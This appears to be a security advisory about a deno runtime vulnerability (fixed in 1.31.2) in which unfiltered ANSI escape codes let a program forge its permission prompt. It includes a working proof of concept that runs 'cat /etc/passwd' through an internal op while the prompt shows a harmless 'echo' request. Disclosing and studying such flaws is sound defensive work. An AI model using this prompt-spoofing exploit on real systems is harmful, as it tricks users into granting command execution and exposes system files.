Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade deno
to version 1.31.2 or higher.
deno is an a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper ANSI neutralization. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child
or op_kill
prompt and replace it with any desired text.
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold
const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`
const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line
Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
cmd: "cat",
args: ["/etc/passwd"],
clearEnv: false,
env: [],
stdin: "null",
stdout: "inherit",
stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)